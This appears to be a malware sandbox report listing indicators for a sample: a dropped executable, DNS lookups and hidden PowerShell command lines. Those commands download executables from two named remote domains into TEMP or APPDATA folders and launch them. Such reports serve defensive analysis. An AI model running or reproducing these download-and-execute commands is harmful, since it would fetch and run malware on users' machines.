Technical Information
- <Current directory>\config.json
- %TEMP%\bk639677.exe
- 'vc#####raryguide.help':443
- 'vc#####raryguide.help':443
- DNS ASK vc#####raryguide.help
- DNS ASK i-###e.boats
- '<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-libraryguide.help/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK639677.exe; Sta...
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-libraryguide.help/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK639677.exe; Start-Process -FilePath $...
- '<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://i-like.boats/Stb/Retev.php?bl=5Lw0hTK7T4a1Cp4eGGPRE016.txt' -OutFile $env:APPDATA\BK256327.exe; Start-Pro...
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://i-like.boats/Stb/Retev.php?bl=5Lw0hTK7T4a1Cp4eGGPRE016.txt' -OutFile $env:APPDATA\BK256327.exe; Start-Process -FilePath $env:AP...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-libraryguide.help/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK639677.exe; Start-Process -FilePath $env:TEMP\BK639...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://i-like.boats/Stb/Retev.php?bl=5Lw0hTK7T4a1Cp4eGGPRE016.txt' -OutFile $env:APPDATA\BK256327.exe; Start-Process -FilePath $env:APPDATA\BK256327...